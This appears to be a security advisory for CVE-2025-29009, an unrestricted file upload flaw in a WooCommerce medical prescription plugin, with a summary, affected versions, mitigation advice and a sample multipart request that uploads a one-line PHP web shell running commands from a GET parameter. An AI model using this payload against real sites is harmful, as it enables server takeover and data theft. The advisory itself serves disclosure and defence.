Overview
The vulnerability CVE-2025-29009, discovered in the Webkul Medical Prescription Attachment Plugin for WooCommerce, allows an attacker to upload a web shell to a web server. This vulnerability is of particular concern as it directly affects the security of e-commerce websites using this plugin, potentially leading to unauthorized access, system compromise, or data leakage. Given the prevalence of WooCommerce in the e-commerce industry, it is crucial to understand and mitigate this vulnerability promptly.
Vulnerability Summary
CVE ID: CVE-2025-29009
Severity: Critical (CVSS Score: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to unrestricted upload of file with a dangerous type.
Affected Products
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Product | Affected Versions
Webkul Medical Prescription Attachment Plugin for WooCommerce | up to 1.2.3
How the Exploit Works
The exploit takes advantage of an unsecured file upload mechanism in the plugin. An attacker can manipulate the file upload feature to upload a malicious script (web shell) instead of a legitimate file. Once uploaded, the web shell can be executed, providing the attacker with unauthorized access to the web server. This access can then be used to manipulate data, inject malicious code, compromise the system, or exfiltrate sensitive data.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This is an example of a malicious HTTP multipart/form-data POST request to upload a web shell:
POST /upload_attachment HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="attachment"; filename="evil_shell.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, an attacker uploads a PHP web shell named “evil_shell.php” which, when executed, allows the attacker to run any system command via the “cmd” GET parameter.
Mitigation
To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it’s available. In the meantime, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It’s also advisable to restrict file uploads to only trusted users and to validate and sanitize all uploaded files.
